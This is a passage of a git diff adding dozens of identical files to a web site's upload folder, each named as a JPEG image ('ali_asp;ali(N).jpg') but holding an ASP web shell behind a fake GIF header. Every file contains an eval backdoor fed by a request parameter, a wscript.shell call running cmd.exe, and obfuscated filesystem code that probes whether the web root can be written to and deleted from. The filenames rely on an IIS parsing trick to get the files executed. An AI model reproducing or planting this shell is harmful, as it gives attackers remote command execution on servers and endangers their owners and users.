+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(69).jpg b/userfiles/file/ali_asp;ali(69).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(7).jpg b/userfiles/file/ali_asp;ali(7).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(70).jpg b/userfiles/file/ali_asp;ali(70).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(71).jpg b/userfiles/file/ali_asp;ali(71).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(72).jpg b/userfiles/file/ali_asp;ali(72).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(73).jpg b/userfiles/file/ali_asp;ali(73).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(74).jpg b/userfiles/file/ali_asp;ali(74).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(75).jpg b/userfiles/file/ali_asp;ali(75).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(76).jpg b/userfiles/file/ali_asp;ali(76).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(77).jpg b/userfiles/file/ali_asp;ali(77).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(78).jpg b/userfiles/file/ali_asp;ali(78).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(79).jpg b/userfiles/file/ali_asp;ali(79).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(8).jpg b/userfiles/file/ali_asp;ali(8).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(80).jpg b/userfiles/file/ali_asp;ali(80).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(81).jpg b/userfiles/file/ali_asp;ali(81).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(82).jpg b/userfiles/file/ali_asp;ali(82).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(83).jpg b/userfiles/file/ali_asp;ali(83).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(84).jpg b/userfiles/file/ali_asp;ali(84).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(85).jpg b/userfiles/file/ali_asp;ali(85).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(86).jpg b/userfiles/file/ali_asp;ali(86).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(87).jpg b/userfiles/file/ali_asp;ali(87).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(88).jpg b/userfiles/file/ali_asp;ali(88).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(89).jpg b/userfiles/file/ali_asp;ali(89).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(9).jpg b/userfiles/file/ali_asp;ali(9).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
